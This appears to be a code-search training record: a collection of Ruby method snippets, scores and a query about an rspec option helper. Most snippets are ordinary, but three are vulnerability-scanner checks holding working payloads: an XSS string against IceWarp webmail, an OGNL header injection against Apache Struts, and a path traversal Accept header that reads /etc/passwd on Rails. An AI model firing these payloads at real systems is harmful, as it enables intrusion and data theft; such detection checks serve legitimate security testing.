"def initialize(input)\n # Set the input document attribute\n @input_document = REXML::Document.new(input)\n \n # Initialize the handler and pre-load form definitions using the credentials\n # supplied by the task info items.\n preinitialize_on_first_load(\n @input_document,\n ['KS_SRV_CustomerSurvey']\n )\n\n # Determine if debug logging is enabled.\n @debug_logging_enabled = get_info_value(@input_document, 'enable_debug_logging') == 'Yes'\n puts(\"Logging enabled.\") if @debug_logging_enabled\n\t\n\t@taskVersion = get_info_value(@input_document, 'taskVersion')\n\n \t# Store parameters in the node.xml in a hash attribute named @parameters.\n @parameters = {}\n REXML::XPath.match(@input_document, '/handler/parameters/parameter').each do |node|\n @parameters[node.attribute('name').value] = node.text\n end\n puts(format_hash(\"Handler Parameters:\", @parameters)) if @debug_logging_enabled\n\n end",
"def processed_input!\n unknown_handling :process\n not_researched_handling :process\n self\n end",
"def validate\n errors.clear\n instance_exec(&validate_block) if validate_block && get\n end",
"def process\n save_as(:processing)\n perform_checks\n initiate_delivery\n capture_payment\n save_as(:processed)\n end",
"def run\n super\n\n #require_enrichment\n path = \"/webmail/?color=%22%3E%3Csvg/onload=alert(document.domain)%3E%22\"\n uri = _get_entity_name\n\n # endpoints\n endpoint1 = \"#{uri}#{path}\"\n endpoint2 = \"#{uri}:32000#{path}\"\n\n # request 1\n response = http_get_body endpoint1\n is_vuln = verify_vuln(response)\n\n # check vuln on request1\n unless is_vuln\n # not vuln. lets try endpoint2\n response = http_get_body endpoint2\n is_vuln = verify_vuln(response)\n end\n\n # log if vulnerable\n if is_vuln\n _log \"Vulnerable!\"\n _create_linked_issue(\"icewarp_xss_cve_2020_8512\", {\n proof: {\n response: response\n }\n })\n else\n _log \"Not Vulnerable!\"\n end\n end",
"def run\n super\n\n # first, ensure we're fingerprinted\n require_enrichment\n\n uri = _get_entity_name\n\n headers = {}\n headers[\"Content-Type\"] = \"%{#context['com.opensymphony.xwork2.dispatcher.HttpServletResponse'].addHeader('X-Intrigue-Struts',888*888)}.multipart/form-data\"\n response = http_request(:get, uri, nil, headers) # no auth\n\n unless response\n _log_error \"No response received\"\n return\n end\n\n # show the response in the logs \n response.headers.each {|x| _log \"#{x}: #{response.headers[x]}\"}\n \n if response.headers['X-Intrigue-Struts'] =~ /788544/\n \n instance_details = { \n proof: \"#{response.headers['X-Intrigue-Struts']}\",\n }\n _create_linked_issue \"apache_struts_jakarta_parser\", instance_details\n end\n end",
"def validate!\n return @valid if !@valid.nil? # only need to run this once per config\n\n # ensure all user and plugin configs/settings are applied\n self.init_procs.each(&:call)\n [:name, :ip, :port].each do |a|\n if self.send(a).nil?\n raise InvalidError, \"a name, ip and port must be configured\"\n end\n end\n\n # validate the worker class\n if !self.worker_class.kind_of?(Class) || !self.worker_class.include?(Sanford::Worker)\n raise InvalidError, \"worker class must include `#{Sanford::Worker}`\"\n end\n\n # validate the router\n self.router.validate!\n\n @valid = true # if it made it this far, it's valid!\n end",
"def prepare\n # by default, do not push data (content entries and editable elements)\n self.parameters[:data] ||= false\n\n credentials = self.parameters.select { |k, _| %w(uri email password api_key).include?(k.to_s) }\n self.uri = credentials[:uri]\n\n begin\n Locomotive::Mounter::EngineApi.set_token(credentials)\n rescue Exception => e\n raise Locomotive::Mounter::WriterException.new(\"unable to get an API token: #{e.message}\")\n end\n end",
"def run!\n instance_eval(&self.class.setup) if self.class.setup\n instance_eval(&self.class.validate) if self.class.validate\n instance_eval(&self.class.build) if self.class.build\n instance_eval(&self.class.clean) if self.class.clean\n end",
"def validate_request!\n validate_accounts_presence!\n validate_account_funds!\n\n transaction_create_model.validate!\n end",
"def configure\n yield self\n validate_credentials!\n validate_endpoint!\n self\n end",
"def handle_request( request, &block )\n\t\tself.log.debug \"[:parameters] Wrapping request with parameter validation.\"\n\n\t\tvalidator = self.class.paramvalidator.dup\n\t\tvalidator.validate( request.params )\n\t\trequest.params = validator\n\n\t\tsuper\n\tend",
"def process\n Rucola::Plugin.before_process(self)\n \n # load the environment config\n @configuration.load_environment_configuration!\n \n Rucola::Debugger.use! if @configuration.use_debugger\n use_reloader! if @configuration.use_reloader\n \n require_dependencies\n require_frameworks\n require_lib_source_files\n require_ruby_source_files\n \n Rucola::Plugin.after_process(self)\n end",
"def prepare_invoke!\n return if @prepared\n\n super\n\n # Force the spinner to be registered etc.\n spinner\n\n # Prepare child validators\n validator_instances.each(&:prepare_invoke!)\n nil\n end",
"def prepare_for_validation\n self.reset_perishable_token!\n Notifier.account_validation_instructions(self).deliver\n end",
"def configure validate: true\n yield configuration\n configuration.validate! if validate\n configuration\n end",
"def context\n @context ||= ActiveValidation.config.validation_context_formatter.call self\n end",
"def preinitialize_on_first_load(input_document, form_names)\n remedy_context = ArsModels::Context.new(\n :server => get_info_value(input_document, 'server'),\n :username => get_info_value(input_document, 'username'),\n :password => get_info_value(input_document, 'password'),\n :port => get_info_value(input_document, 'port'),\n :prognum => get_info_value(input_document, 'prognum'),\n :authentication => get_info_value(input_document, 'authentication')\n )\n\n # Build up a new configuration\n if @disable_caching\n @config = {\n #:properties => properties,\n :context => remedy_context,\n :forms => form_names.inject({}) do |hash, form_name|\n hash.merge!(form_name => ArsModels::Form.find(form_name, :context => remedy_context))\n end\n }\n else\n @@config = {\n #:properties => properties,\n :context => remedy_context,\n :forms => form_names.inject({}) do |hash, form_name|\n hash.merge!(form_name => ArsModels::Form.find(form_name, :context => remedy_context))\n end\n }\n end\n end",
"def validate!\n MiddlewareValidator.new(middleware).validated_provides!\n end",
"def execute!\n validate_request!\n perform_request!\n\n build_response\n end",
"def perform\n r = validate_and_sanitize\n return r unless r.success?\n\n create_email_service_api_call_hook\n\n success\n end",
"def create\n run_callbacks :create do\n method = self.class.method_for(:create)\n path = request_path(:_owner_path => @owner_path)\n self.class.request(to_params.merge(:_method => method, :_path => path)) do |response|\n load_attributes_from_response(response)\n end\n end\n end",
"def start\n prepare_parser\n perform_request\n end",
"def handler_request!\n response = Core::HandlerResponse.new(\n @req.body,\n @req.code,\n @req.header.to_hash.inspect\n )\n populate_properties! if response.request_successful? && check_request\n end",
"def workflow\n prepare_instance_directory\n .bind do\n run_init\n end\n .bind do\n run_validate\n end\n .bind do\n yield\n end\n .or do |failure|\n raise(\n ::Kitchen::ActionFailed,\n failure\n )\n end\n end",
"def validation_context(context)\n @_validation_context = context\n yield\n @_validation_context = nil\n end",
"def process_post\n service.sign_up_fisherman(\n JSON.parse(request.body.to_s).symbolize_keys\n ).on(\n fishing_application_succeeded: ->(result) {\n response.headers['Content-Type'] = \"application/json\"\n response.body = result.to_json\n true\n },\n fishing_application_conflicts: ->(result) {\n render_json_error_response(\n error: \"command_failed_validation\", message: result.fetch(:message)\n )\n 409\n },\n fishing_application_invalid: ->(result) {\n render_json_error_response(\n error: \"command_failed_validation\", message: result.fetch(:message)\n )\n 422\n }\n )\n end",
"def create\n\n project_dir = Pathname.new(APP_CONFIG[:user_data_dir]) + @project.user.id.to_s + @project.key \n \n @req = Req.new(req_params)\n @req.project_id = @project.id\n \n @h_env = JSON.parse(@project.version.env_json)\n @std_method = @req.std_method\n @step = @req.step\n \n @h_attrs = {}\n @h_errors = {}\n \n if @std_method and @step\n\n # ## cell_filtering\n # \n # if @step.id == 9\n # ## write list of filtered cells\n # filepath = project_dir + 'filtered_out_cells.txt'\n # File.open(filepath, 'w') do |f|\n # f.write(params[:req][:all_filtered])\n # end\n # end\n\n h_global_params = JSON.parse(@step.method_attrs_json)\n \n @h_attrs = JSON.parse(@std_method.attrs_json)\n ## complement attributes with global parameters - defined at the level of the step \n \n h_global_params.each_key do |k|\n @h_attrs[k]={}\n h_global_params[k].each_key do |k2|\n @h_attrs[k][k2] = h_global_params[k][k2]\n end\n end\n\n # ### apply write_in_file\n # @h_attrs.each_key do |k|\n # if filename = @h_attrs[k]['write_in_file']\n # filepath = project_dir + filename\n # File.open(filepath, 'w') do |f|\n # f.write(params[:attrs][k])\n # end\n # end\n # end\n end\n \n tmp_attrs = params[:attrs]\n\n if tmp_attrs\n tmp_attrs.each_pair do |k, v|\n if @h_attrs[k] and @h_attrs[k]['req_data_structure'] and [\"array\", \"hash\"].include? @h_attrs[k]['req_data_structure']\n tmp_attrs[k] = JSON.parse(v) #Basic.safe_parse_json(v, nil)\n end\n end\n end\n @req.attrs_json = (tmp_attrs) ? tmp_attrs.to_json : \"{}\"\n @req.user_id = (current_user) ? current_user.id : 1\n\n \n\n respond_to do |format|\n if @req.save\n\n create_runs()\n errors_txt = nil\n list_errors = []\n if @h_errors[:already_existing]\n list_errors.push(\"#{@h_errors[:already_existing]} configuration#{(@h_errors[:already_existing] > 1) ? 's' : ''} #{(@h_errors[:already_existing] > 1) ? 'were' : 'was'} already launched, #{(@h_errors[:already_existing] > 1) ? 'they were' : 'it was'} not added.\")\n end\n if list_errors.size > 0\n errors_txt = list_errors.join(\" \")\n end\n \n format.json { render :json => {:status => 'success', :errors => errors_txt}}\n # format.html { redirect_to @req, notice: 'Req was successfully created.' }\n # format.json { render :show, status: :created, location: @req }\n else\n format.json { render :json => {:status => 'failed', :log => tmp_attrs.to_json}}\n # format.html { render :new }\n # format.json { render json: @req.errors, status: :unprocessable_entity }\n end\n end\n end",
"def execute!\n validate_request!\n perform_request!\n\n build_response\n end",
"def set_automated_validation\n (self.methods - Object.methods).each do |method|\n params_index = method(method).parameters.map{|ar| ar[1]}.index(:params)\n body_index = method(method).parameters.map{|ar| ar[1]}.index(:body)\n\n define_singleton_method(method) do |*args, &block|\n validate Docker::API::InvalidParameter, Docker::API::VALID_PARAMS[\"#{self.class.name}\"][\"#{method}\"], (args[params_index] || {}) if params_index\n validate Docker::API::InvalidRequestBody, Docker::API::VALID_BODY[\"#{self.class.name}\"][\"#{method}\"], (args[body_index] || {}) if body_index\n super(*args,&block)\n end\n end\n end",
"def create_process_def(process_def)\n doValidation(process_def)\n #@jtodoIMP handle when pass with ot without /\n post(process_def, self.create_process_uri)\n end",
"def management\n prepareBaseContext\n end",
"def setup_controller_request_and_response\n setup_controller_request_and_response_without_vanity\n Vanity.context = @controller\n end",
"def createContext\n\n begin\n \n # Get context name\n if not params[:contextname]\n render :text => \"Error in creating context, contextname needed! \\n\", :status => 409\n return\n end\n contextname = params[:contextname].downcase\n \n if params[:i_am_client]\n username = authenticateClient\n elsif session[:username]\n username = session[:username]\n end\n \n # Make sure user is signed in as the user who context will be created to\n if username == nil\n render :text => \"Not authorized to create context! \\n\", :status => 409\n return\n end\n \n \n @user = User.find_by_username(username)\n \n #puts \"username: #{@user.id.to_s}\"\n #puts \"contextname: #{contextname.to_s}\"\n #puts \"location: #{location.to_s}\"\n \n # Location name is optional?\n if not contextname or not @user #or not location \n render :text => \"Not all the details that are needed was given! \\n\", :status => 300\n return\n end\n \n \n # Checks that user doesn't already have group with same name as context\n group_contextname = \"context_\"+contextname\n if Group.find_by_user_id_and_name(@user.id, group_contextname) != nil\n render :text => \"Group with context name already exist, use another context name! \\n\", :status => 409\n return \n end\n \n # Checks that user doesn't already have context saved with same name\n if ContextName.find_by_user_id_and_name(@user.id, contextname) != nil\n render :text => \"Context name already in use for this user! \\n\", :status => 409\n return \n end\n\n # Create unique hash for context\n context_hash = Digest::SHA1.hexdigest(@user.username+\".\"+contextname+Time.now.tv_sec.to_s)\n\n if params[:icon_data]\n icon_name = \"#{context_hash}.png\"\n icon_path = \"public/thumbnails/context_thumbnails/\"\n puts \"icon created!\" if createIcon(params[:icon_data].read, icon_name, icon_path)\n \n end\n \n \n metadatas = []\n query_part = \"\"\n \n metadata = params[:metadata] ? params[:metadata].split('+') : []\n tags = \"\"\n metadata.each_index do |i|\n md = metadata[i]\n type, value = md.split('/')\n if type and value\n metadatas.push({type => value})\n # There can be multiple values for tag -> they are all collected to tags\n if type == \"tag\"\n tags += '+' if tags != \"\"\n tags += value\n else\n query_part += '&' if query_part != \"\"\n query_part += \"q[#{type}]=#{value}\"\n end\n end\n end\n \n # If tags were found, add them to query url\n if tags != \"\"\n query_part += '&' if query_part != \"\"\n query_part += \"q[tag]=#{tags}\"\n end\n \n private_context = params[:private] ? params[:private] : true \n \n \n #puts \"query_part #{query_part}\"\n query_uri = \"/files.atom?#{query_part}\"\n \n \n icon_uri = params[:icon_data] ? \"/thumbnails/context_thumbnails/#{context_hash}.png\" : \"/thumbnails/vR_context_1.png\"\n \n description = params[:description] ? params[:description] : \"\"\n \n begin_time = params[:begin_time] ? QueryController::transform_date(params[:begin_time]) : \"\"\n end_time = params[:end_time] ? QueryController::transform_date(params[:end_time]) : \"\"\n \n \n location = nil\n \n if params[:location]\n \n location = params[:location].strip.downcase\n \n # To see if geonames search didn't throw exception\n geonames_success = false\n #### Geonames has been down from time to time. uncomment the below to take geonames back to use.\n=begin begin\n # Gets the location details of the given location string\n details = getLocationDetails(location)\n # Generate metadata from the location details\n details.each do |type, value|\n metadatas.push({type.to_s => value})\n \n # Found details from geonames, no need for OpenStreetMap\n geonames_success = true\n \n end\n rescue Exception => exp\n putsE(exp)\n puts \"Could not connect to GeoNames. Will try OpenStreetMap.\"\n # metadatas.push({\"context_location_name\" => location})\n=end end\n \n # If coudn't get location details from geonames, try openStreetmap instead:\n if not geonames_success\n begin\n # Gets the location details of the given location string\n details = getLocationDetailsFromOSM(location) \n # Generate metadata from the location details\n details.each do |type, value|\n puts \"type: #{type.to_s} . Value: #{value}\"\n metadatas.push({type.to_s => value})\n end\n \n rescue Exception => exp\n putsE(exp)\n puts \"Could not connect to OpenStreetMap either.\"\n metadatas.push({\"context_location_name\" => location}) \n end\n \n end\n end\n \n # Creates XMPP node for the context. Node naming goes: /home/<host>/visualrestmain_node/<context_hash>\n node_path, node_service = XmppHelper::createContextNode(context_hash)\n if not node_path or not node_service\n node_path = \"\" \n node_service = \"\"\n end\n \n #query_uri += \"&sparse=false\"\n \n # Add context_hash to query_uri\n query_uri += \"&q[context_hash]=#{context_hash}\"\n \n # Create the context\n @new_context = Context.create(:name => contextname, :user_id => @user.id, :query_uri => query_uri,\n :icon_url => icon_uri, :description => description,\n :location_string => location,\n :begin_time => begin_time, :end_time => end_time, :private => private_context,\n :context_hash => context_hash,\n :node_path => node_path, :node_service => node_service)\n \n if not @new_context\n raise Exception.new(\"Couldn't save the context!\")\n end\n\n\n # Create context_name for the creator of context\n ContextName.create(:context_id => @new_context.id,\n :name => @new_context.name,\n :context_hash => @new_context.context_hash,\n :user_id => @user.id,\n :username => @user.username)\n\n \n # Creates a group named context_contextName and authorizes the group to context\n \n new_group = Group.create(:name => group_contextname, :user_id => @user.id)\n \n if not new_group\n puts \"Error creating group for the context\"\n end\n\n ContextGroupPermission.create(:group_id => new_group.id,\n :context_id => @new_context.id)\n \n # Adds creator of context to the group\n Usersingroup.find_or_create_by_user_id_and_group_id(:user_id => @user.id, :group_id => new_group.id)\n\n # Adds users given in parameters into new_group that was created \n if params[:user]\n user = params[:user] ? params[:user].split('+') : \"\"\n \n # Go through every user in params\n user.each do |x|\n \n # Find the user\n u = User.find_by_username(x)\n if u\n \n # Add user to the new_group\n Usersingroup.find_or_create_by_user_id_and_group_id(:user_id => u.id, :group_id => new_group.id)\n \n # Get suggestions for contextname for this user\n sugg = suggestContextNames(u.username, contextname)\n \n ## Notifies every device of users that they were added to the context\n \n # Go through all devices of user\n u_devices = Device.find_all_by_user_id(u.id)\n if u_devices\n # Create xmpp message\n message = '<vr-xmpp-message>\n <message>You have been authorized for a new context! You can add it to your contexts with a name that you like</message>'\n\n sugg.each do |x|\n message += '<suggested-transition>\n <description>'+x+'</description>\n <url method=\"put\">http://visualrest.cs.tut.fi/user/'+u.username+'/contexts/'+x+'</url>\n <parameters>\n <context_hash>'+@new_context.context_hash+'</context_hash>\n <i_am_client>true</i_am_client>\n <auth_username>'+u.username+'</auth_username>\n <auth_timestamp></auth_timestamp>\n <auth_hash></auth_hash>\n </parameters>\n </suggested-transition>' \n end\n message += '</vr-xmpp-message>'\n \n u_devices.each do |dev| \n # Send xmpp message with link. If user goes to the link, he is added to the group\n # XmppHelper::sendXmppMessage(dev.xmppname, message)\n #puts dev.xmppname\n #puts message\n end\n end\n end \n end\n end\n\n\n # Authorizes given groups to the context\n group_names = []\n \n if params[:group]\n group_names = params[:group] ? params[:group].split('+') : \"\"\n group_names.each do |gn|\n group = Group.find(:first, :conditions => [\"name = ? and user_id = ?\", gn, @user.id])\n if group != nil\n ContextGroupPermission.find_or_create_by_group_id_and_context_id(:group_id => group.id,\n :context_id => @new_context.id)\n end \n end\n end\n \n \n # Creates the given metadatas for the context\n metadatas.each do |md|\n md.each do |type,value|\n metadata_type = MetadataType.find_by_name(type)\n if metadata_type\n if @@multi_metadata_types_for_context.include?(metadata_type.name)\n \n new_mdata = ContextMetadata.find_or_create_by_context_id_and_metadata_type_id_and_value(\n :context_id => @new_context.id, \n :metadata_type_id => metadata_type.id,\n :value => value.downcase)\n else\n new_mdata = ContextMetadata.find_or_create_by_context_id_and_metadata_type_id(\n :context_id => @new_context.id, \n :metadata_type_id => metadata_type.id,\n :value => value.downcase)\n end\n end\n end\n end\n \n \n rescue Exception => exp\n putsE(exp)\n render :text => \"Error in creating context \\n\", :status => 409\n return\n end\n\n\n \n\n\n\n\n # atom feed needs @context and @context_metadatas\n @context = @new_context\n # get metadatas with sql, gets also metadata_type names\n @context_metadatas = ContextMetadata.find_by_sql(\"SELECT context_metadatas.context_id as id, \n context_metadatas.value as value, \n metadata_types.name as type_name,\n metadata_types.value_type as value_type\n FROM context_metadatas, metadata_types\n WHERE context_metadatas.metadata_type_id = metadata_types.id AND \n context_metadatas.context_id = #{@context.id}\")\n \n @owner = @context.user\n @contextname = @context.name\n @context_named_by_user = @context.name\n\n sql = \"SELECT users.* \n FROM context_group_permissions, groups, usersingroups, users \n WHERE context_group_permissions.context_id=#{@context.id} AND \n context_group_permissions.group_id = groups.id AND \n groups.id=usersingroups.group_id AND usersingroups.user_id=users.id;\"\n @members = User.find_by_sql(sql)\n\n\n begin\n puts \"Sends notification to node!\"\n XmppHelper::publishToContextGeneralNode(@context)\n puts \"Notification sent!\"\n rescue Exception => ee\n putsE(ee)\n end\n\n\n\n # Create atom-feed. Returns info about the created context. \n @host = @@http_host\n respond_to do |format|\n format.atom {render :getcontext, :layout=>false }\n end\n end",
"def validate\n errors.clear\n self.class.validator.invoke self\n end",
"def validate_request(call)\n call.validate_request\n end",
"def initialize(params)\n\n @process_failed = params[:process_failed]\n\n @current_timestamp = Time.now.to_i\n @lock_identifier = @current_timestamp\n\n @hooks_to_be_processed = []\n @success_responses = {}\n @failed_hook_to_be_retried = {}\n @failed_hook_to_be_ignored = {}\n\n end",
"def post_process\n end",
"def process\n if threaded?\n @request.threaded = true\n EventMachine.defer { post_process(pre_process) }\n else\n @request.threaded = false\n post_process(pre_process)\n end\n end",
"def configure validate: true, &block\n configuration.tap(&block)\n configuration.validate!(context: self) if validate\n end",
"def inject_di_context(req)\n super if defined? super\n req.transformer.merge(transformer)\n end",
"def run(request)\n @request = request\n @response = request.response\n validate\n extract\n end",
"def validate\n self._errors = {}\n self.run_hook :validate\n not self.errors?\n end",
"def process(*args)\n new.process(*args)\n end",
"def perform\n\n handle_errors_and_exceptions do\n\n r = validate\n return r unless r.success?\n\n r = fetch_manager_device\n return r unless r.success?\n\n r = create_device_verification_token\n return r unless r.success?\n\n r = send_device_verification_token\n return r unless r.success?\n\n success\n\n end\n\n end",
"def process(env)\n raise \"Please ensure you call init before processing\" unless inited?\n @processor.process(env)\n end",
"def run\n super\n\n require_enrichment\n\n ## Trigger: Accept Header of the following form\n ## ../../../../../../../../../../etc/passwd{{\n\n paths = [\"\"] # Enter any known paths here (spidering first might be a good idea)\n headers = {\"Accept\" => \"../../../../../../../../../../etc/passwd{{\"}\n\n paths.each do |p|\n\n # Request\n uri = \"#{_get_entity_name}/#{p}\"\n response = http_request :get, \"#{uri}\", nil, headers\n etc_passwd_body = response.body_utf8.split(\"\\n\").first(3).join(\"\\n\") if response\n\n # Check for validity\n if response\n if \"#{etc_passwd_body}\" =~ /root\\:x/\n _log \"Vulnerable! Partial content of response: #{etc_passwd_body}\"\n _create_linked_issue(\"rails_information_disclosure_cve_2019_5418\", {\n proof: {\n response_data: etc_passwd_body\n }\n })\n else\n _log \"Got non-vulnerable response: #{response.body_utf8}\"\n end\n else\n _log \"Empty response at #{uri}\"\n end\n end\n\n end",
"def process(*args)\n init_srv\n super\n end",
"def process\n self\n end",
"def validate!\n logger.debug \"Starting validation for #{description}\"\n raise NotFound.new name, connection unless exists?\n logger.info \"Successfully validated #{description}\"\n self\n end",
"def post_init\n @request = Request.new\n @response = Response.new\n end",
"def validate!\n validate_redis\n validate_workers\n validate_options\n end",
"def process_request\n api_response = self.class.post(api_url, :body => build_xml)\n puts api_response if @debug == true\n response = parse_response(api_response)\n if success?(response)\n return response[:address_validation_reply][:address_results][:proposed_address_details]\n else\n puts api_response if @debug == true\n error_message = if response[:address_validation_reply]\n [response[:address_validation_reply][:notifications]].flatten.first[:message]\n else\n api_response[\"Fault\"][\"detail\"][\"fault\"][\"reason\"]\n end rescue $1\n raise AddressValidationError, error_message\n end\n end",
"def process\n raise \"Must be implemented\"\n end",
"def create\n @hq_proc = HqProc.new(params[:hq_proc])\n \n params[:hq_proc][:new_hq_rsrc_usage_attributes] ||= {}\n params[:hq_proc][:existing_hq_rsrc_usage_attributes] ||= {}\n params[:hq_proc][:assigned_hq_rsrc] ||= {}\n respond_to do |format|\n if @hq_proc.save\n flash[:notice] = 'Process was successfully created.'\n format.html { redirect_to :action => :index }\n format.xml { render :xml => @hq_proc, :status => :created, :location => @hq_proc }\n else\n messages = '<ul>Error:'\n @hq_proc.errors.full_messages.each {|msg| messages += '<li>'+msg+'</li>'}\n messages += '</ul>'\n flash[:notice] = messages\n format.html { redirect_to :action => \"new\", :template => 'reflected/new' }\n format.xml { render :xml => @hq_proc.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def prepare\n prepare_prerequisites\n @prepared = true\n end",
"def process\n raise Error::new(\"This method should be implemented by a subclass\")\n end",
"def run_validations\n run_callbacks :validation do\n failed_validators.clear\n validation_chain.run(self)\n @validated = true\n end\n end",
"def run_validation(vmode)\n validate(vmode)\n self\n end",
"def perform\n\n r = validate_and_sanitize\n return r unless r.success?\n\n update_api_fields\n\n success\n end",
"def create\n data = JSON.parse params[:request]\n\n kids = data[\"kids\"]\n data.delete \"kids\"\n\n formsFields = {}\n @@formsFieldsNames.each do |name|\n formsFields[ name ] = data[ name ]\n data.delete name\n end\n\n appartments = data[\"appartments\"]\n data.delete \"appartments\"\n\n if data[\"id\"]\n @request = Request.find data[\"id\"]\n @request.assign_attributes data.except(\"id\")\n else\n @request = Request.new(data)\n end\n\n @request.user = current_user\n\n kids.each do |kid|\n if kid[\"id\"].present?\n kidModel = @request.kids.find_by_id kid[\"id\"]\n kidModel.update kid.except(\"index\")\n else\n @request.kids.new kid.except(\"index\")\n end\n end\n\n @@formsFieldsNames.each do |name|\n formsData = formsFields[name]\n\n if formsData.present?\n formsData.each do |form|\n prefix = if form[\"spouse\"] then \"spouse_\" else \"\" end\n suffix = \"_#{ form['index'] }\"\n\n forms = @request.send(name)\n additional_data = {}\n\n files = params[\"#{ prefix }#{ name }#{ suffix }\"]\n if files.present?\n uploaded_form = UploadedForm.new\n files.each do |file|\n uploaded_form.uploaded_files.new file: file\n end\n additional_data = { uploaded_form: uploaded_form }\n end\n\n if form[\"id\"].present?\n formModel = forms.find_by_id form[\"id\"]\n formModel.update form.except(\"index\", \"uploaded_form\").merge additional_data\n else\n forms.new form.except(\"index\").merge additional_data\n end\n end\n end\n end\n\n if appartments.present?\n appartments.each do |appt|\n if appt[\"id\"].present?\n apptModel = @request.appartments.find_by_id appt[\"id\"]\n apptModel.update appt.except(\"index\", \"spouseName\")\n else\n @request.appartments.new appt.except(\"index\", \"spouseName\")\n end\n end\n end\n \n respond_to do |format|\n if @request.save\n # format.html { redirect_to @request }\n # format.json { render :show, status: :created, location: @request }\n format.html { redirect_to action: \"save_success\" }\n else\n format.html { render :new }\n format.json { render json: @request.errors, status: :unprocessable_entity }\n end\n end\n end",
"def process\n self.generate\n end",
"def setup_attributes\n setup_location_header\n # TODO: Should setup_content_length_header?\n setup_status_and_body\n end",
"def process_shared\n handle_taxes\n handle_shippings\n create_adjustments_from_params\n handle_status\n handle_inventory_refunds\n handle_payment_transactions\n order.updater.update\n end",
"def validate\n end",
"def execute()\n\n error_handling = @parameters[\"error_handling\"]\n error_message = nil\n entry_id = nil\n\n # If preinitialize fail then stop execution and rasie or return error\n if (@error.to_s.empty?)\n begin\n # Create the entry using the ArsModels form setup the first time this\n # handler is executed. The :field_values parameter takes a Hash of field\n # names to value mappings (which was built in the #initialize method). The\n # :fields parameter is an optional Array of field values to return with the\n # entry. By default (when the :fields parameter is omitted), all field\n # values are returned. For large forms, the performance gained by\n # specifying a smaller subset of fields can be significant.\n \t@field_values = JSON.parse(@parameters['field_values'])\n \tputs(format_hash(\"Field Values:\", @field_values)) if @debug_logging_enabled\n\n entry = get_remedy_form(@parameters['form']).create_entry!(\n :field_values => @field_values,\n :fields => []\n )\n\n entry_id = entry.id\n rescue Exception => error\n error_message = error.inspect\n raise error if error_handling == \"Raise Error\"\n end\n else\n error_message = @error\n raise @error if error_handling == \"Raise Error\"\n end\n\n # Return the results\n <<-RESULTS\n <results>\n <result name=\"Handler Error Message\">#{escape(error_message)}</result>\n <result name=\"Entry Id\">#{escape(entry_id)}</result>\n </results>\n RESULTS\n end",
"def process!\n if valid?\n # get the csv rows as an array of hashes\n setup_data\n raw_csv_data = compute_csv_data\n # remove duplicate rows in the csv file (by email or name)\n prefilterted_csv_data = prefilter_csv_data raw_csv_data\n # remove the rows that match emails in the database\n new_data = filter_data_through_db prefilterted_csv_data\n\n # crate a new users\n resolved_data = create_new_user_records new_data\n end\n @rejected_user_data\n end",
"def process\n raise NotImplementedError(\"The instance method '#process' must be implemented for the operation\")\n end",
"def perform\n r = validate_and_sanitize\n return r unless r.success?\n\n create_entity_group\n create_entity_drafts\n\n create_entity_group_draft\n create_published_entity_group\n\n success\n end"
] | [
"0.64535993",
"0.60113144",
"0.60081416",
"0.5862405",
"0.5718233",
"0.56996",
"0.56746596",
"0.5672537",
"0.563901",
"0.5611255",
"0.5554513",
"0.554773",
"0.55267185",
"0.55062586",
"0.54888093",
"0.54832774",
"0.5472991",
"0.54684776",
"0.5447625",
"0.5411495",
"0.5409127",
"0.54035795",
"0.5388308",
"0.5328162",
"0.5327467",
"0.5327399",
"0.5313516",
"0.52883214",
"0.5275655",
"0.526975",
"0.5223528",
"0.5210517",
"0.5202206",
"0.5195867",
"0.51929283",
"0.51828885",
"0.5169186",
"0.51628613",
"0.51520306",
"0.5140718",
"0.51391405",
"0.5128175",
"0.5122408",
"0.51191276",
"0.51189274",
"0.511549",
"0.51061106",
"0.50912344",
"0.5087384",
"0.5075739",
"0.50681907",
"0.5068158",
"0.50650096",
"0.50608355",
"0.5051969",
"0.50512236",
"0.50487125",
"0.50427866",
"0.50189435",
"0.50115603",
"0.5009457",
"0.50050926",
"0.50016576",
"0.500098",
"0.49977586",
"0.49955744",
"0.4987041",
"0.49778044",
"0.4975012",
"0.49747765",
"0.49631536",
"0.49628025",
"0.4961252",
"0.49546608",
"0.49518478",
"0.4948184",
"0.4947226",
"0.49422625",
"0.4940561",
"0.49399605",
"0.49362186",
"0.49352884",
"0.493472",
"0.49322718",
"0.49278456",
"0.49265662",
"0.49246937",
"0.49218833",
"0.492145",
"0.4915308",
"0.48981363",
"0.489339",
"0.48856866",
"0.48748323",
"0.48747534",
"0.48666394",
"0.4863316",
"0.48588926",
"0.4855805",
"0.48530662"
] | 0.73026836 | 0 |
Helper function to expect a class to have a set of options defined. These options are not firstclass citizens of puppet, but instead a keyvalue map. So regular rspec matchers don't help. To stay DRY, introduce this helper. | def expect_option(klass, key, val)
# test each option
it do
should contain_class(klass).with_options(
lambda do |map|
if map[key] == val
true
else
fail "#{klass} option #{key.inspect} doesn't match (-- expected, ++ actual):\n"\
"-- #{val.inspect}\n"\
"++ #{map[key].inspect}\n"
end
end
)
end
end | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def expect_option(klass, key, val)\n # test each option\n it do\n should contain_class(klass).with_options(\n lambda do |map|\n # check\n if map[key] == wrap_expected(val)\n true\n else\n fail \"#{klass} option #{key.inspect} doesn't match (-- expected, ++ actual):\\n\"\\\n \"-- #{val.inspect}\\n\"\\\n \"++ #{map[key].inspect}\\n\"\n end\n end\n )\n end\nend",
"def validate_options(options, klass)\n raise(ArgumentError, \"Options cannot be \" + options.class.name) unless options.is_a?(klass) || options.is_a?(Hash)\n options.is_a?(Glassfrog::Base) ? options.hashify : options\n end",
"def should_allow_values(options)\n klass = self.name.gsub(/Test$/, '').constantize\n\n context \"#{klass}\" do\n options.each_pair do |attribute, values|\n [*values].each do |value|\n display_value = value.class == NilClass ? \"nil\" : \"\\\"#{value}\\\"\"\n \n should \"allow #{attribute} to be #{display_value}\" do\n instance = get_instance_of(klass)\n instance.send(\"#{attribute}=\", value)\n assert_nil instance.errors.on(attribute), \n \"Expected no errors when #{attribute} is set to #{display_value}, \n instead found error \\\"#{instance.errors.on(attribute)}\\\".\"\n end\n end\n end\n end\n end",
"def initialize(options)\n @options = options || {}\n self.class.verify_options(@options)\n end",
"def assert_valid_options\n valid_options = {\n :skip_gemfile => false,\n :skip_bundle => false,\n :skip_git => false,\n :skip_test_unit => false,\n :edge => false\n }\n valid_options.each do |key, expected|\n next unless options.key?(key)\n actual = options[key]\n unless actual == expected\n fail Rails::Generators::Error, \"Unsupported option: #{key}=#{actual}\"\n end\n end\nend",
